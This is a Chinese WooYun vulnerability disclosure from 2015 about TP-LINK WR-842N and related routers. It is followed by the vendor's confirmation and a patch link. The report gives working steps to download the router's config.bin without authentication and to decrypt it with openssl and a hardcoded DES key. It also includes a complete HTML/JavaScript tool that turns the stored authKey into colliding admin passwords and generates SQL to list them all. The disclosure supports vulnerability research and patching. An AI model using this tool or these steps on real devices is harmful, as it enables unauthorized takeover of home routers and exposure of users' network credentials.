当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110062

漏洞标题:全国首发TP-LINK wr-842n等多款无线路由器(新界面2015)存在多个致命漏洞

相关厂商:深圳普联技术有限公司

漏洞作者: 路人甲

提交时间:2015-04-24 16:28

修复时间:2015-07-27 17:10

公开时间:2015-07-27 17:10

漏洞类型:设计不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经确认,细节仅向厂商公开
2015-05-01: 细节向第三方安全合作伙伴开放
2015-06-22: 细节向核心白帽子及相关领域专家公开
2015-07-02: 细节向普通白帽子公开
2015-07-12: 细节向实习白帽子公开
2015-07-27: 细节向公众公开

简要描述:

TP-LINK在2014年底发布的无线路由器(厂家称为新用户界面)存在一系列致命的漏洞。黑客可以任意下载配置文件,绕过设备认证,随意修改系统配置,造成用户敏感信息泄露,造成极大危害。

详细说明:

具体操作过程:
1.漏洞1,任意下载config.bin[路由器配置文件] 例如:http://192.168.1.1/config.bin
2.openssl enc -d -des-ecb -nopad -K 478DA50BF9E3D2CF -in config.bin
提取配置信息。
3.找到首行

authKey 0rZily4W9TefbwK

此为加密过的用户后台登陆密码。
4.漏洞2,Query.js存在算法BUG.经过研究这段加密字串“0rZily4W9TefbwK”通过用户浏览器运算生成,且存在算法漏洞。
5.加密字串虽不可逆,但存在大量碰撞,即任意字符可生成相同的加密字串。破解文件html网页格式【自行转存】。找个数据库软件,用最后生成的SQL脚本【笛卡尔积】生成的每一组字符串均可登录后台。【网页格式,代码部分另存成网页html文件】
6.wooyun我要注册会员

漏洞证明:

测试工具【网页格式,代码部分另存成网页html文件】

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>TPLINK_Auth_Key_计算器 作者:青岛小哥 email:qdpp007@outlook.com</title>
<script type="text/javascript">
function $(id)
{
return document.getElementById(id);
}
function orgAuthPwd (pwd)
{
var strDe = "RDpbLfCPsJZ7fiv"; /*字符宽度15*/
var dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+
"TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+
"wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+
"sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字符宽度255*/
$('dspDic').value=dic;
$('dspPwd').value=pwd;
$('dspStrDe').value=strDe;
return securityEncode(pwd, strDe, dic);
}
function securityEncode (input1, input2, input3)
{
var dictionary = input3; /*=255*/
var output = "";
var len, len1, len2, lenDict;
var cl = 0xBB, cr = 0xBB;
len1 = input1.length; /*len1=6~15*/
len2 = input2.length; /*len2=15*/
lenDict = dictionary.length; /*lenDict=255*/
len = len1 > len2 ? len1 : len2; /*密码限定宽度最大15位,len恒等于15*/
for (var index = 0; index < len; index++) /*index= 0 to 14*/
{
cl = 0xBB;
cr = 0xBB;
if (index >= len1) /*如果密码位数=14执行1次,=15不执行,=13执行2次,=12 3,11 4,10 5,9 6...保证取所有密码字符unicode*/
{
cr = input2.charCodeAt(index);
}
else if (index >= len2) /*14>=15,永远不执行!*/
{
cl = input1.charCodeAt(index);
}
else
{
cl = input1.charCodeAt(index); /*取所有密码字符unicode,超出部分取0xBB,补足15位*/
cr = input2.charCodeAt(index); /*cr恒等于:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/
}
output += dictionary.charAt((cl ^ cr)%lenDict); /*cl取所有密码字符unicode与cr异或mod 255*/
}
return output;
}
function lgDoSub()
{
var lgPwd = $('pwd').value;
var result;
var strAsc='';
result = orgAuthPwd(lgPwd);
for (var ix = 32 ;ix < 127;ix++) /*32~126可见字符*/
{
strAsc += String.fromCharCode(ix);
}
$('dspAsc').value=strAsc;
$('dspAuthKey').value=result;
$('dspLen').value=result.length;
}
function AuthKeyCup()
{
var arrayPasswd = new Array(15);
var passwdLen=0;
var authkey = $('authKey').value;
var strDe = "RDpbLfCPsJZ7fiv";
var dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+
"TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+
"wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+
"sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字符宽度255*/
var passwd='';
for(var crIndex=0,passwdList,strComp_authkey,codeCr;crIndex<15;crIndex++)
{
passwdList='';
strComp_authkey=authkey.charAt(crIndex);
codeCr=strDe.charCodeAt(crIndex); /*cr恒等于:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/
for(var index=32,strtmp,codeCl,strDic;index<127;index++)
{
strtmp = String.fromCharCode(index);
codeCl = strtmp.charCodeAt(0);
strDic = dic.charAt((codeCl ^ codeCr)%255);
if (strComp_authkey==strDic)
{
passwdList += strtmp;
continue;
}
}
arrayPasswd[crIndex]=passwdList;
}
for(var i=0;i<15;i++)
{
if(arrayPasswd[i].length==0)
{
passwdLen=i;
break; /*密码长度=i,密码长度=0退出外循环*/
}
else if (i==14)
{
passwdLen=15;
}
}
for(var i=0;i<passwdLen;i++)
{
passwd+=arrayPasswd[i]+'\r\n';
}
$('dspPasswd').value=passwd;
passwd='';
for(var i=0;i<passwdLen;i++)
{
passwd+="drop table t"+i+";\r\n";
passwd+="CREATE TABLE t"+i+"(pwd nvarchar(50) NULL);\r\n";
for(var j=0;j<arrayPasswd[i].length;j++)
{
passwd+="insert into t" + i + " values('" + arrayPasswd[i].substr(j,1)+"');\r\n";
}
}
passwd+="select t0.pwd,t1.pwd,t2.pwd,t3.pwd,t4.pwd,t5.pwd,t6.pwd,t7.pwd from t0,t1,t2,t3,t4,t5,t6,t7";
$('dspSql').value=passwd;
// var arrayXH = new Array(passwdLen);
// for(var j=0;j<passwdLen;j++)
// {
// arrayXH[j]=arrayPasswd[j].length;
// }
// for(var j=0;j<passwdLen;j++)
// {
// for(var k=0;k<arrayXH[j];k++)
// {
// k*10+
// }
// }
}
</script>
</head>
<body>
<span style="text-align:center">TPLINK_Auth_Key_计算器(新用户界面登录密码演算) 作者:青岛小哥 email:<a href="mailto:qdpp007@outlook.com">qdpp007@outlook.com</a></span><br />
<span style="text-align:center">免责声明:本计算器程序(方法)可能带有攻击性,仅供安全研究与教学之用,<br />用户将其信息做其他用途,由用户承担全部法律及连带责任,本人不承担任何法律及连带责任。
</span>
<form action="" method="get"><fieldset><legend>源码测试</legend>
密码[最小6位]:
<input name="pwd" type="text" id="pwd" size="15" maxlength="15" />
<input type="button" name="btnOK" id="btnOK" value="计算KEY" onclick="lgDoSub()" />
<br />
<br />
显示 pwd:
<input name="dspPwd" type="text" id="dspPwd" />
<br />
<br />
显示 strDe:
<input name="dspStrDe" type="text" id="dspStrDe" />
<br />
<br />
显示 Dic:
<textarea name="dspDic" cols="70" rows="4" id="dspDic"></textarea>
<br />
<br />
显示 ASC码表:
<textarea name="dspAsc" cols="70" rows="2" id="dspAsc"></textarea>
<br />
<br />
结果 Auth_key:
<input name="dspAuthKey" type="text" id="dspAuthKey" />
字符宽度:
<input name="dspLen" type="text" id="dspLen" size="5" />
</fieldset>
</form>
<br /><br />
<form action="" method="get">
<fieldset>
<legend>你懂得</legend>
Auth_key【演示字符19830917】:
<input name="authKey" type="text" id="authKey" value="0rZily4W9TefbwK" size="15" maxlength="15" />
<input type="button" name="btnCup" id="btnCup" value="解密KEY" onclick="AuthKeyCup()" />
15位:0rZily4W9TefbwK<br />
<br />
原始密码字符【从首行由上到下,每行任选1个字符对应密码一位,组成密码串,N行字符==N位密码】:<br />
<textarea name="dspPasswd" cols="70" rows="10" id="dspPasswd"></textarea>
<br />
<br />
数据库查询SQL:
<textarea name="dspSql" cols="70" rows="10" id="dspSql"></textarea>
</fieldset>
</form>
</body>
</html>

修复方案:

厂商修复。库函数Query.js修补。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-28 17:09

厂商回复:

最新状态:

2015-04-28:危害等级认定说明:配置文件需有线连接或无线接入的终端才能下载,有线连接是物理连接,需要能够接触到路由器实物,无线接入需要知道无线密码,从这个角度选中级。TP-LINK 已经完成对此漏洞的技术调查,并已发布升级软件解决此问题。相关软件的下载链接为:http://service.tp-link.com.cn/detail_download_2043.html 。TP-LINK始终关注技术提升和安全合作,非常感谢您的信息和沟通,我们相信在我们的共同努力下,用户将获得更为安全的互联网体验,谢谢!